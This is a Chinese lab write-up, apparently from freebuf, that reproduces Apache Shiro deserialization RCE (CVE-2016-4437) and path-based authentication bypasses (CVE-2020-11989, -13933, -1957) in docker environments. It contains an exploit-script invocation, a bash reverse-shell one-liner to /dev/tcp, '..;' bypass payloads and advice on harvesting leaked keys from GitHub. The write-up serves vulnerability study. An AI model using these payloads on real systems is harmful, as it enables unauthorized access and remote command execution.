Shiro简介
Apache Shiro是常见的Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密秘钥泄露,就会导致shiro的反序列化漏洞。
指纹:
返回包存在set-Cookie:rememberMe=deleteMe或URL中有shiro字样。
有时服务器不会主动返回rememberMe=deleteMe,直接发包即可。
Shiro的功能用到了AES加密,但是密码是硬编码在代码里的,所以很容易拿到密钥,因为AES是对称加密,即加密密钥同样是解密密钥,所以就可以通过恶意构建Cookie获取权限执行命令。
新版本到Shiro 1.2.5及以上版本,就不存在硬编码密钥的问题,而改为自定义密钥。但如果使用了别人的开源框架,他们在代码里配置shiro的密钥,而使用者没有修改shiro的密钥,关键代码可以在github上通过api search接口搜索到,从而得到一个所谓的key包,然后去轮流尝试。
Apache Shiro反序列化漏洞(CVE-2016-4437)
漏洞分析:
Apache Shiro默认使用CookieRememberMeManager。其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
复现环境:
vulhub
复现操作:
访问靶机并抓包,返回包中有rememberMe=deleteMe,基本可以确定网站是Apache Shiro搭建。
使用shiro_attack工具进行找key,使用时勾选如下两框。
成功利用获得的key进行命令执行。
Linux不出网环境渗透Shiro反序列化漏洞
搭建环境:
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8888:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
复现操作:
需要python3执行
python3 shiro-1.2.4_rce.py http://192.168.109.9:8888/login.jsp
反弹shell
bash -i >& /dev/tcp/192.168.109.9/8889 0>&1
命令自动编译执行,无回显。
成功上线,docker也一样运行。
Apache Shiro权限绕过复现(CVE-2020-11989)
漏洞简介:
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon,authc等拦截器。anon为匿名拦截器,不需要登陆即可访问;authc为登录拦截器,需要登录才可以访问。
Shiro的URL路径表达式为Ant格式,路径通配符表示匹配零个或多个字符串,/可以匹配/hello,但是匹配不到/hello/,因为*通配符无法匹配路径。加入/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现权限绕过。
影响范围:
Apache Shiro < 1.5.2
复现环境:
docker pull vulfocus/shiro-cve_2020_1957
docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.109.9 29136b1d3c61
复现操作:
访问靶机
访问 /hello/1 接口,被authc拦截器拦截,将跳转到登录接口进行登录。
访问 /hello/1/,可以绕过authc拦截器。
在1.5.1版本(及其之前版本)中,会直接跳转到登录!
payload:
/dwdww;/../hello/1
或其他payload:
xxxx/..;/hello/1
CVE-2020-13933和CVE-2020-11989总结
CVE-2020-11989针对 /admin/page,这种固定路由,Shiro得到的地址为/,因此认为可以访问。Spring得到的地址为 /admin/page,从而定位到未授权页面。
CVE-2020-13933匹配非固定地址路由,比如 /admin/{name},Shiro得到的是/admin/,认为可以访问。Spring得到的是 /admin/;page,如果也采取固定路由,则会因为找不到;page,从而返回404。
Apache Shiro认证绕过漏洞(CVE-2020-1957)
漏洞简介:
在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。
影响范围:
Apache Shiro < 1.5.3
复现操作:
复现和CVE-2020-11989一致。
来源:freebuf.com 2021-05-22 15:35:48 by: MISUagain
请登录后发表评论
注册